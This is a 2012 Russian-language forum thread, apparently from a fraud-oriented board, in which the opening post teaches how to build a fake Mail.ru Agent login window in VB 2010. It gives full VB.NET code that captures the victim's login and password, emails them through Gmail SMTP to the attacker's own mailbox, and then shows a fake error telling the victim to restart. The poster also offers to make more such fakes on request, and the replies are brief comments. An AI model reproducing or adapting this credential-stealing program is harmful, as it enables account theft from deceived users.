1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Пишем фейк любого приложения на vb 2010

Тема в разделе "Наши статьи", создана пользователем ErrorNick, 1 авг 2012.

  1. TopicStarter Overlay
    ErrorNick

    ErrorNick

    Регистрация:
    6 июл 2012
    Сообщения:
    126
    Симпатии:
    55
    Пишем Фейк Любого Приложения На Vb 2010




    Нам понадобится VB 2010, скачать его можно с Please login or register to view links

    Фейк будем делать для mail.ru агента. То-есть он нам тоже понадобится.

    Открываем окно ввода имени пользователя в мейл.ру агенте и создаем новый проект в VB.
    Please login or register to view links

    Далее нам надо ввести название проекта и нажать кнопку ОК.

    Please login or register to view links

    После этого визуально подгоняем форму под оригинальную форму ввода персональных данных агента.

    Please login or register to view links

    располагаем поля для логина, пароля, для выпадающего меню точно так - же. создаем ссылки "Забыли?","ЗарегистрироватьÑ я","зачем нужна авторизация пользователя",подписываем поля и меняем заголовок программы.

    Поля ввода - TextBox
    Ссылки - LinkLabel
    Заголовки - Label
    Выпадающее меню - Combo box
    Галочка - CheckBox
    все это таскаем мышкой до состояния "как надо".Изменить заголовки всего этого можно в свойствах.

    Итак, довели до ума форму.

    теперь нам понадобится этот рисунок для фона. Его достаем просто, открываем агент, фоткаем принт-скином, вырезаем, что надо и сохраняем))

    [​IMG]

    и вставляем в наш проект...

    Теперь подходим к основному - к коду.

    Щелкаем два раза на форме в проекте и вставляем туда это:


    Код:
    Public Class Form1
     
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            Dim smtpServer As New SmtpClient()
            Dim mail As New MailMessage()
            smtpServer.Credentials = New Net.NetworkCredential("gmaillogin", "gmailpassword")
            'using gmail
            smtpServer.Port = 587
            smtpServer.Host = "smtp.gmail.com"
            smtpServer.EnableSsl = True
            mail = New MailMessage()
            mail.From = New MailAddress("gmaillogin@gmail.com")
            mail.To.Add("gmaillogin@gmail.com")
            mail.Subject = "Username: " & TextBox1.Text
            mail.Body = "Username : " & TextBox1.Text & ComboBox1.Text & ", " & "Password : " & TextBox2.Text
            smtpServer.Send(mail)
            MessageBox.Show("Пожалуйста, перезапустите Mail.Ru Agent", _
                "Ошибка!!!", _
                MessageBoxButtons.OK)
            Me.Close()
        End Sub
     
        Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
            Process.Start("http://e.mail.ru/cgi-bin/signup")
        End Sub
     
        Private Sub LinkLabel2_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel2.LinkClicked
            Process.Start("http://e.mail.ru/cgi-bin/passremind")
        End Sub
     
        Private Sub LinkLabel3_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel3.LinkClicked
            Process.Start("http://agent.mail.ru/help/1/3.html?lang=ru")
        End Sub
     
        Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
            Me.Close()
        End Sub
     
        Private Sub MessageBoxIcon()
            Throw New NotImplementedException
        End Sub
     
    End Class

    находим в коде слова "gmaillogin" и "gmailpassword" и заменяем на свои...

    тут просто разобраться, так что в подробности вдаваться не буду...

    все смотрите на видео



    З.Ы. Кто не допер тему, пишите сюда интересные проекты для фейков, создам и выложу =)

    © Исходный код не мой, но я честно не помню где взял по этому не могу указать копирайт.(

    То что навалял на скорую руку канечно если потрудится можно cделать на много "Достоверние"
    [​IMG]
     
    • Like Like x 2
    Метки:
  2. BloodWolf

    BloodWolf Команда форума

    Регистрация:
    29 май 2012
    Сообщения:
    424
    Симпатии:
    360
    Сначала делали фейк агента а закончили поинт бланком Оо. Я вообще не могу понять толк от этих форм.
    PS: где видео ? Это же не твоя статья, если я не ошибаюсь конечно, где-то я ее уже видел.
     
  3. A_XTO

    A_XTO Гость

    Please login or register to view links
    вот видео
     
  4. A_XTO

    A_XTO Гость

    [​IMG]
    решил побаловаться .. как вам ? (первый опыт)
     
  5. TopicStarter Overlay
    ErrorNick

    ErrorNick

    Регистрация:
    6 июл 2012
    Сообщения:
    126
    Симпатии:
    55
    Please login or register to view links
     
  6. teppopuct

    teppopuct Гость

    Я на таком раньше писал прогу.
     
  7. pavel0088

    pavel0088 Гость

    Ага девил студео походу класная прога.
     

Поделиться этой страницей

Загрузка...